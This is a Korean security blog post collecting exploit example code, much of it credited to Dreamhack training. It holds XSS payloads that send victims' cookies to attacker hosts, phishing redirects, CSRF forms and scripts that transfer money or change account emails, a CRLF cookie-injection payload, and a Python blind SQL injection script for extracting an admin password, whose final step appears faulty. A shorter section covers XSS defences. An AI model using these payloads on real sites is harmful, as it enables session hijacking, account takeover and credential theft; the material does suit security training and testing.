- HacktheBox Mobile
- HackTheBox APKey
- SeeTheSharpFlag
- CVE-2010-1622
- JAVA ClassLoader 취약점
- mongoDB
- Directory traversal
- PortSwigger
- NoSQL
- XALZ 압축해제
- Frida
- DOM
- UnCrackable
- mstg
- CVE-2022-22965
- Hackthebox cat
- CVE-2014-0094
- JSP
- blind sql injection
- MariaDB
- HackTheBox
- login form
- UnCrackable level 1
- xss
- Android Backup
- nginx
- File Upload
- getCachedIntrospectionResults
- Xamarin 분석
- Android 6.0
- Today
- Total
끄적끄적
[Exploit] 예제 코드 본문
개요
예제코드는 지속적으로 업데이트 됩니다.
XSS
∴ VueJS, AngularJS와 같은 Client Side Templete을 사용하는 경우, expression을 사용하여 XSS가 발현될 수 있음
∴ Client Side에서 replace 함수를 사용하여 XSS를 대응하고자 하는 경우, replace 함수에 정규 표현식을 사용하지 않을 시 XSS 우회 가능
O: str.replace(/</g, "<"): str 문자열 전체에서 "<" 문자열을 "<"로 인코딩
X: str.replace('<", "<") str 문자열에서 최초 "<" 문자열을 "<"로 인코딩
∴ WAF에 의해 특정 태그 사용이 불가능할 경우 Intruder를 이용 [Tag], [Event]는 큰 트래픽을 발생시키지 않음, 사용가능한 Event 발견 후 관련 페이로드를 검색하여 공격 구문 만들기
Intruder 사용 시 스페이스바 URL 인코딩 필수(%20)
쿠키 및 세션 탈취
<script>
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
//출처: Dreamhack
<img src=x onerror=location.href="[Attacker URL]?"+document.cookie;>
<svg/onload=location["href"]="[Attacker URL]"+document["cookie"]>
페이지 변조
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
//출처: Dreamhack
위치 이동
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
//출처: Dreamhack
POST 방식
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
XST(Cross-Site Tracing)
XSS와 TRACE method가 발현될 경우 사용
- Cookie에 httponly 설정이 되어 있어 XSS만으로 타인의 세션을 탈취할 수 없을 때 유용
<script>
var xmlhttp = new XMLHttpRequest();
var url = 'http://127.0.0.1/';
xmlhttp.withCredentials = true; // send cookie header(send CORS Cookie)
xmlhttp.open('TRACE', url, false);
xmlhttp.send();
</script>
<a> 태그 내에 URL이 입력되는 경우
http://foo?'-alert(1)-'
http://foo?'-alert(1)-'
http://foo?'alert(1)'
대응방안
대응방법
[헤더]
1. CSP(Content Security Policy) 사용: 설정에 따라 특정 도메인, 콘텐츠만을 허용하여 타 사용자(공격자)가 다른 Javscript 출처로 업로드 시 해당 스크립트 무시
- Header에 직접 추가
- <meta>태그로 추가
2. X-XSS-Protection 사용: 웹 브라우저 엔진 내에서 XSS 구문을 감지하여 해당 구문을 삭제
3. X-Content-Type-Options 사용: 웹 브라우저가 Content-Type외 다른 타입으로 구문이 분석되는 것을 막음(Javscript의 MIME 타입은 "application/javascript")
[백엔드]
1. HTML Entitiy Encoding 적용
- JSP: JSTL(JSP Standard Tag Library)을 사용하는 경우, <c:out> 태그 사용
- PHP: htmlentities(), htmlspecialchars()의 함수 사용
- Nodejs: html-entities 라이브러리 install 후, encode() 함수 사용
- ASP: Server Obeject의 HTMLEncode() 함수 사용
- Python: cgi 모듈의 escape() 함수 사용
2. 태그를 사용해야하는 경우, 언어별로 제공하는 라이브러리 사용
- Jsoup 라이브러리
- Lucy-xss 라이브러리 등.
[프론트 엔드]
1. JavaScript Code내 HTML Entity Encoding을 적용하는 로직을 삽입
- mustache.js의 escapeHtml 메소드 사용
- javscript의 Replace 함수를 사용하여 인코딩 적용(정규표현식을 이용할 것)
- HTML Encoding 함수를 만들어서 적용
function EntitiesHtml(string) {
return String(string).replace(/&/g, '&').replace(/>/g, '>').replace(/</g, '<').replace(/"/g, '"');
}
2. JavaScript에서 사용자의 입력에 대한 출력을 문자열로써 처리
- JQuery를 사용하는 경우, ajax를 통해 전송받은 데이터를 .text 메소드를 사용하여 처리(.html 메소드 사용 금지)
CSRF
GET 방식
<img src="/sendmoney?to=dreamhack&amount=1337">
//출처: Dreamhack
fetch 함수: XMLHttpRequset 이후에 출시된 HTTP 요청 전송 기능을 제공하는 Web API
<img src=x onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
//출처: Dreamhack
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
//출처: Dreamhack
POST 방식으로 전송될 경우 Javascript 필요
외부에서 작성한 Javasciprt 코드 로드(글자수 제한이 있을 경우 사용)
<script src="[Attacker URL]">
form 태그 사용
<form action="https://[vulnerable-website.com]/[path]" method="POST">
<input type="hidden" name="id" value="test" />
<input type="hidden" name="password" value="1234" />
</form>
<script>
document.forms[0].submit();
</script>
CSRF Token 우회
- POST Requset를 GET Requset로 CSRF Token을 우회가 가능한지 확인
- 서버측에서 CSRF 토큰을 검증하는지에 대해서 확인 -> 토큰 값 없이 전송
- 서버측에서 CSRF 토큰과 세션을 검증하는지 확인 -> 자신의 토큰 값으로 CSRF 구성
CSRF Token이 Response 내에 존재할 경우 해당 값을 저장 후 전송
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse; //GET requset가 완료되면 onload에 의해 실행
req.open('get','/my-account',true); //CSRF Token이 포함된 Response 요청, 매개변수 true는 비동기 요청
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; //name이 "csrf"인 값의 value 추출
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true); //Attack URL에 POST 요청
changeReq.send('csrf='+token+'&email=test@test.com') //POST의 Body로 전송될 값
};
</script>
GET 요청으로 Cookie 값 포이즈닝 후 전송
"img src"에 대한 요청이 선행적으로 이루어지고 <form> 태그가 실행됨
<form action="https://acb11fc11f6f5b1fc00b8d6300700092.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="etes@sc.akr123" />
<input type="hidden" name="csrf" value="rgd9rPuwuJSCmBvTDqdFVRU8Zz1Xjw67" />
<input type="submit" value="Submit request" />
</form>
<img src="https://acb11fc11f6f5b1fc00b8d6300700092.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=rgd9rPuwuJSCmBvTDqdFVRU8Zz1Xjw67" onerror="document.forms[0].submit();"/>
Blind SQL Injection
Requset Module
GET 방식
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
#출처: Dreamhack
POST 방식
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
#출처: Dreamhack
String Method를 사용한 Blind SQL Injection
import requests
import string
url = 'http://example.com/login' # example URL
params = {
'uid': '',
'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
#출처: Dreamhack
Reference
[1] XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
[2] OWASP XST: https://owasp.org/www-community/attacks/Cross_Site_Tracing
[3] CSP Header: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
'Security > Web' 카테고리의 다른 글
[Spring4Shell] CVE-2022-22965 (0) | 2022.05.02 |
---|---|
[vulnerability] File Upload (0) | 2022.04.25 |
[Secure Coding] Prepared Statement 훑어보기 (1) | 2022.01.17 |
[vulnerability] Nginx alias traversal (0) | 2021.10.07 |
[vulnerability] Python Pickle Module Exploit (0) | 2021.10.07 |